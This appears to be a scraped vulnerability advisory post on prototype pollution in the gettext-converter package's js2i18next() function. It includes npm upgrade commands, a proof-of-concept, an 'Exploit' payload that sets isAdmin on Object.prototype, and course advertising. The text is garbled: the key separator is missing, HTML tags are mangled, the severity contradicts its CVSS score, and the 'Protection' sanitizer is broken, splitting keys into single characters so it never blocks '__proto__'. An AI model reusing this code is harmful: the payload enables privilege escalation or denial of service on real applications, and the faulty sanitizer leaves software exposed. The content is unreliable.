Listen to this Post
js2i18next() is vulnerable to prototype pollution. When converting translations, it splits nested keys on the key separator (default “) and uses each segment as a dynamic object key while building the output object. A key whose segment is `__proto__` (e.g. __proto__gcPolluted) causes the converter to resolve `Object.prototype` as the nested write target and assign the translated value onto it, polluting `Object.prototype` for the whole runtime.
The vulnerability exists in versions up to 1.3.2 and is fixed in version 1.3.3. The issue affects the function `js2i18next` in the file lib/js2i18next.js. The attack can be launched remotely, and a public exploit is known to exist.
Any application that converts translation data (PO / i18next JS objects) originating from an untrusted or user-controlled source is affected. Prototype pollution can lead to denial of service and, depending on the surrounding application, may enable further attacks. The vulnerability is classified as critical and assigned CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes).
The fix in version 1.3.3 rejects key segments equal to __proto__, constructor, or `prototype` before they are used as dynamic object keys. The patch is available at commit df90c3b93e51faef68891d97b626544f619c5b31.
DailyCVE Form:
Platform: Node.js / npm
Version: < 1.3.3
Vulnerability: Prototype Pollution
Severity: Critical (CVSS 6.9)
Date: 2026-08-20
Prediction: 2026-08-21
What Undercode Say:
Check installed version npm list gettext-converter Identify vulnerable versions npm audit | grep gettext-converter Upgrade to patched version npm install [email protected] Verify upgrade npm list gettext-converter
// Vulnerable code pattern in lib/js2i18next.js
// Key with <strong>proto</strong> segment causes prototype pollution
const key = "__proto__gcPolluted";
// Result: Object.prototype.gcPolluted = translated value
// PoC to test vulnerability
const { js2i18next } = require('gettext-converter');
const maliciousTranslations = {
"__proto__polluted": "true"
};
js2i18next(maliciousTranslations);
console.log(Object.prototype.polluted); // "true"
Exploit: (Educational Purposes!)
// Crafted translation payload
const payload = {
"__proto__isAdmin": true,
"__proto__config": { "debug": false }
};
// Send payload to application endpoint that processes translations
// If application uses js2i18next() on untrusted input:
js2i18next(payload);
// Object.prototype.isAdmin = true
// Object.prototype.config = { debug: false }
// Subsequent property lookups in the application may return
// polluted values, leading to privilege escalation or DoS
Protection:
// Sanitize keys before passing to js2i18next()
function sanitizeKey(key) {
const forbidden = ['<strong>proto</strong>', 'constructor', 'prototype'];
const segments = key.split('');
for (const seg of segments) {
if (forbidden.includes(seg)) {
throw new Error(<code>Forbidden key segment: ${seg}</code>);
}
}
return key;
}
// Validate all translation keys
function validateTranslations(translations) {
for (const key of Object.keys(translations)) {
sanitizeKey(key);
}
return translations;
}
// Safe usage
const safeTranslations = validateTranslations(userInput);
js2i18next(safeTranslations);
Impact:
- Denial of Service: Polluted prototypes can break application logic that relies on `Object.prototype` properties.
- Privilege Escalation: Attackers can inject properties that bypass authorization checks.
- Supply Chain Risk: Applications using gettext-converter < 1.3.3 are vulnerable to mass-exploit campaigns.
- Remote Exploitation: The attack can be launched remotely without authentication.
- Integrity & Confidentiality: CWE-1321 impacts confidentiality, integrity, and availability.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
